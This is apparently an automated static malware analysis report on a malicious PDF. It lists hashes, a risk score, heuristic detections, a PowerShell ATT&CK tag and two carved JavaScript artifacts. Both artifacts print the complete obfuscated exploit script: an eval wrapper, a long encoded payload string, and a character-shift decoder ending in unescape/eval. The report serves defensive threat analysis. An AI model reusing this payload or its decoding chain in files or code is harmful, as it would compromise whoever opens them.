Malicious PDF — malware analysis report

Static analysis result for SHA-256 c44637909e27a274…

MALICIOUS

PDF

46.3 KB First seen: 2026-05-11
MD5: d163056e76299275d6a0da565467a094 SHA-1: 9d33456322a445ce01c9bae3ec24e84fc9766ed3 SHA-256: c44637909e27a274902ef1947509a9c2d332430f4ce39bfef56a567731c188ec
126 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings. The presence of extracted JavaScript files, 'javascript_obj0012_000.js' and 'legacy_pdfkit_stage_000.js', suggests an attempt to execute malicious code. The document body is largely unreadable, but the heuristics point towards a script-based attack. The exact functionality of the script is not fully discernible due to potential obfuscation, but it is likely designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for(cv=0;cv<s.length;cv+         =szazalek+String.fromCharCode(s.charCodeAt(cv)-17)+String.fromCharCode(s.charCodeAt(cv+1)-17);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xA241 4884 bytes
SHA-256: 060568b4ebe46be1e00614d2f3e87a84480f22b9cbce2dd193db90015e8fa547
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var eva=new Function("a","e   v       a     l        (a);".split(" ").join(""));
       var s='B@GFFAGBB@DBDHFADEE@GGB@CtB@GEFuFEGCFCFAG@FECrB@GFFAGBB@DHDtFIB@CtB@DBDHFADEE@GGBHB@BBBEGECDCACDCABEGECDCACDCABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@C@BEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCFCBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBCBFCCHBEGECDFACHCEBEGEC@C@C@C@BEGECAC@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CBBEGEC@C@C@C@BEGEC@CAC@CBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCCHBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@CDC@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@CBCBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CCC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGEFACGFDCHBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CBC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFAFEFDFCBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@CCCDBEGEC@C@C@C@BEGEFDCECHCEBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@FABEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECICACGC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGECAC@C@C@BEGEC@C@C@C@BEGEFCFFFDCIBEGEFCCICCCABEGECGCDFDCIBEGEFFCDCBCDBEGEFBCACECHBEGEFBFDCCCCBEGEFFFEFFC@BEGEC@CEC@CGBEGECFCHCCCABEGECHCCCACGBEGEC@CDFCC@BEGECICHC@CCBEGEFECEFEFDBEGEFACDFFC@BEGECFCCFFFABEGECECDFFFABEGECACCFFFBBEGEFBCACGCBBEGEC@CAFCFABEGEFBCBFEC@BEGECICFCGFFBEGECICFCFCBBEGECEFDCGCCBEGEC@CBCBCFBEGECACCC@CGBEGECBCEFEFFBEGECIFEFAC@BEGEC@CHFCCIBEGECBFFCCCABEGEFCCFFDCFBEGECCCAFFCABEGECACDFAFABEGECICBCBCFBEGEFDCGCICCBEGEFDCCCCFBBEGEC@CEFDCDBEGECHCAFBCCBEGECDCBCHFDBEGECCCFCFCFBEGECACFFBCIBEGECCCGFBFBBEGECAFDCFFDBEGECDFFCHCCBEGEFECAC@CHBEGEFFFACGC@BEGECCCACACCBEGECGCACBCHBEGEFACICEFBBEGEFDFDCDCBBEGEFCCHCGFCBEGECCFDCHCGBEGECHCCCDC@BEGEFFCFFAFCBEGECACBCCCBBEGEFCCGCFCEBEGECBCEFBFBBEGECHCDCDCIBEGECHFACHCEBEGEFDCDCDCDBEGECBFCFCCBBEGEFACCFBCGBEGECDFFCCCHBEGEFBCDCDFABEGECCCBFFFABEGECCCACIC@BEGECICDCAFFBEGEFECACECCBEGECBCEFFFBBEGECGCDFBCGBEGECBCICHFFBEGEFFCBCGFCBEGECBFDFDCGBEGEFDCGCHCCBEGECDCICFCCBEGEFDCFC@CHBEGEFDCHFACCBEGEFFFDCDFABEGECHCACFCGBEGECIFCC@CIBEGECFFFCCFEBEGEFACAFFFFBEGEFDCGCBCABEGEC@CGFAC@BEGEFFCECBCIBEGECCFEFBCEBEGECICCCGC@BEGEFBCBCDCHBEGEFDFAC@FEBEGEFCFCCDFBBEGECDFCCAC@BEGEFFFDCBCDBEGEC@CCCIFBBEGEC@CBCCCCBEGECFC@CDFEBEGECDCHFCFBBEGEFCC@FDCCBEGECACECDCDBEGECECACHCABEGEFACFC@CIBEGECICECGFFBEGECBCECCCDBEGECFCECHFABEGECCCEFCCCBEGECFC@FFFFBEGEFFCACHFFBEGECACHCACCBEGECICGCHC@BEGECHFFCACCBEGEFBFDFACABEGECDFECGCGBEGECEFDCCCBBEGEFFCECECFBEGEFCCDFBCBBEGECDCAFACFBBB@BICrB@GFFAGBB@GAE@GFB@CtB@DBDHFADEE@GGBHB@BBBEBBB@BrB@BBGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBBEGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BICrB@GGFHFIFsFEB@BHGAE@GFBuFsFEFuFGGDFHB@BrB@CBC@B@BrB@CHB@CsB@CFCECECCCFBIB@GAE@GFBrCtGAE@GFCrB@DtDIDADvB@CtB@GAE@GFBuGCGEFBGCGDGBFIFuFGBHC@BsB@BHC@GHC@FCC@FCBtC@GHCBCDBIBvCBBICrB@DtDIDADvB@BrCtB@DHDtFICrB@DtDIDADvB@BrCtB@GAE@GFCrB@DIEIB@CtB@DtDIDADvBuGCGEFBGCGDGBFIFuFGBHC@BsB@CFCECECCCFBvCBBICrB@GGFHFIFsFEBHDIEIBuFsFEFuFGGDFHB@CsB@C@GHCHC@C@C@C@BIB@DIEIB@BrCtB@DIEICrB@EFFqFqDrEqFCB@CtB@DIEIBuGCGEFBGCGDGBFIFuFGBHC@BsB@C@GHCHC@C@C@C@B@BtB@BHC@GHCAC@CBC@BtC@GHC@CHBIB@BvB@CBBICrB@GFFAGBB@GqDqB@CtB@FuFEGGB@DAGBGBFAGIBHBICrB@FFFvGBB@BHEBDBCtC@CrEBDBCsC@GHCAFFC@CrEBDBBrBrBIB@GqDqErEBDBEtCtEFFqFqDrEqFCBrBBGCBBCrB@';
    var output = "";
    var szazalek = "";
    eva("s   z  a  z  al  e k=          St  r  ing  .  fr om    C     ha r   Cod e (  3  7 );".split(" ").join("")); 
		eva("f o r ( c v = 0 ; c v < s . l e n g t h ; c v += 2 ) o u t p u t += s z a z a l e k + S t r i n g . f r o m C h a r C o d e ( s . c h a r C o d e A t ( c v ) - 1 7 ) + S t r i n g . f r o m C h a r C o d e ( s . c h a r C o d e A t ( c v + 1 ) - 1 7 ) ; " . split(" ").join(""));  
		eva("e    va(  u   ne   sc  a   p   e(  outp   ut   ));".split(" ").join(""));
legacy_pdfkit_stage_000.js deobfuscated-js split-join delimiter stripped JavaScript at offset 0xA284 4612 bytes
SHA-256: a4ff81d8c0344fb46f3ec4fb1ccf531f304ae145949a80c636dac08b7fb26003
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
vareva=newFunction("a","eval(a);".split("").join(""));
vars='B@GFFAGBB@DBDHFADEE@GGB@CtB@GEFuFEGCFCFAG@FECrB@GFFAGBB@DHDtFIB@CtB@DBDHFADEE@GGBHB@BBBEGECDCACDCABEGECDCACDCABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@C@BEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCFCBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBCBFCCHBEGECDFACHCEBEGEC@C@C@C@BEGECAC@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CBBEGEC@C@C@C@BEGEC@CAC@CBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCCHBEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@CDC@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGEC@C@C@C@BEGEC@C@C@C@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@CHBEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECIC@CCC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEC@C@CBCBBEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@C@BEGEC@C@C@CABEGECFCCFACEBEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGECBCACICFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CCC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@C@CDBEGECDFACHFABEGEFACGFDCHBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@CBC@BEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGEFAFEFDFCBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGEC@C@CCCDBEGEC@C@C@C@BEGEFDCECHCEBEGECDFACHC@BEGECFCCFACEBEGECDFACHC@BEGECAC@CFCDBEGECDFACHC@BEGECBFDFBCBBEGECDFACHCDBEGECBFAFBCABEGECDFACHC@BEGEC@C@C@FABEGEC@C@C@C@BEGEFACHFACFBEGECDFACHC@BEGECAFFCIC@BEGECDFACHC@BEGECICACGC@BEGECDFACHCDBEGEFBCFCICBBEGECDFACHC@BEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGEFFFFFFFFBEGECAC@C@C@BEGEC@C@C@C@BEGEFCFFFDCIBEGEFCCICCCABEGECGCDFDCIBEGEFFCDCBCDBEGEFBCACECHBEGEFBFDCCCCBEGEFFFEFFC@BEGEC@CEC@CGBEGECFCHCCCABEGECHCCCACGBEGEC@CDFCC@BEGECICHC@CCBEGEFECEFEFDBEGEFACDFFC@BEGECFCCFFFABEGECECDFFFABEGECACCFFFBBEGEFBCACGCBBEGEC@CAFCFABEGEFBCBFEC@BEGECICFCGFFBEGECICFCFCBBEGECEFDCGCCBEGEC@CBCBCFBEGECACCC@CGBEGECBCEFEFFBEGECIFEFAC@BEGEC@CHFCCIBEGECBFFCCCABEGEFCCFFDCFBEGECCCAFFCABEGECACDFAFABEGECICBCBCFBEGEFDCGCICCBEGEFDCCCCFBBEGEC@CEFDCDBEGECHCAFBCCBEGECDCBCHFDBEGECCCFCFCFBEGECACFFBCIBEGECCCGFBFBBEGECAFDCFFDBEGECDFFCHCCBEGEFECAC@CHBEGEFFFACGC@BEGECCCACACCBEGECGCACBCHBEGEFACICEFBBEGEFDFDCDCBBEGEFCCHCGFCBEGECCFDCHCGBEGECHCCCDC@BEGEFFCFFAFCBEGECACBCCCBBEGEFCCGCFCEBEGECBCEFBFBBEGECHCDCDCIBEGECHFACHCEBEGEFDCDCDCDBEGECBFCFCCBBEGEFACCFBCGBEGECDFFCCCHBEGEFBCDCDFABEGECCCBFFFABEGECCCACIC@BEGECICDCAFFBEGEFECACECCBEGECBCEFFFBBEGECGCDFBCGBEGECBCICHFFBEGEFFCBCGFCBEGECBFDFDCGBEGEFDCGCHCCBEGECDCICFCCBEGEFDCFC@CHBEGEFDCHFACCBEGEFFFDCDFABEGECHCACFCGBEGECIFCC@CIBEGECFFFCCFEBEGEFACAFFFFBEGEFDCGCBCABEGEC@CGFAC@BEGEFFCECBCIBEGECCFEFBCEBEGECICCCGC@BEGEFBCBCDCHBEGEFDFAC@FEBEGEFCFCCDFBBEGECDFCCAC@BEGEFFFDCBCDBEGEC@CCCIFBBEGEC@CBCCCCBEGECFC@CDFEBEGECDCHFCFBBEGEFCC@FDCCBEGECACECDCDBEGECECACHCABEGEFACFC@CIBEGECICECGFFBEGECBCECCCDBEGECFCECHFABEGECCCEFCCCBEGECFC@FFFFBEGEFFCACHFFBEGECACHCACCBEGECICGCHC@BEGECHFFCACCBEGEFBFDFACABEGECDFECGCGBEGECEFDCCCBBEGEFFCECECFBEGEFCCDFBCBBEGECDCAFACFBBB@BICrB@GFFAGBB@GAE@GFB@CtB@DBDHFADEE@GGBHB@BBBEBBB@BrB@BBGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBBEGEBBB@BrB@BBC@BBB@BrB@BBFCBBB@BrB@BBC@BBB@BrB@BBFCBBB@BICrB@GGFHFIFsFEB@BHGAE@GFBuFsFEFuFGGDFHB@BrB@CBC@B@BrB@CHB@CsB@CFCECECCCFBIB@GAE@GFBrCtGAE@GFCrB@DtDIDADvB@CtB@GAE@GFBuGCGEFBGCGDGBFIFuFGBHC@BsB@BHC@GHC@FCC@FCBtC@GHCBCDBIBvCBBICrB@DtDIDADvB@BrCtB@DHDtFICrB@DtDIDADvB@BrCtB@GAE@GFCrB@DIEIB@CtB@DtDIDADvBuGCGEFBGCGDGBFIFuFGBHC@BsB@CFCECECCCFBvCBBICrB@GGFHFIFsFEBHDIEIBuFsFEFuFGGDFHB@CsB@C@GHCHC@C@C@C@BIB@DIEIB@BrCtB@DIEICrB@EFFqFqDrEqFCB@CtB@DIEIBuGCGEFBGCGDGBFIFuFGBHC@BsB@C@GHCHC@C@C@C@B@BtB@BHC@GHCAC@CBC@BtC@GHC@CHBIB@BvB@CBBICrB@GFFAGBB@GqDqB@CtB@FuFEGGB@DAGBGBFAGIBHBICrB@FFFvGBB@BHEBDBCtC@CrEBDBCsC@GHCAFFC@CrEBDBBrBrBIB@GqDqErEBDBEtCtEFFqFqDrEqFCBrBBGCBBCrB@';
varoutput="";
varszazalek="";
eva("szazalek=String.fromCharCode(37);".split("").join(""));
		eva("for(cv=0;cv<s.length;cv+=2)output+=szazalek+String.fromCharCode(s.charCodeAt(cv)-17)+String.fromCharCode(s.charCodeAt(cv+1)-17);".split("").join(""));
		eva("eva(unescape(output));".split("").join(""));

Open this report in the interactive analyzer, or submit your own file for analysis.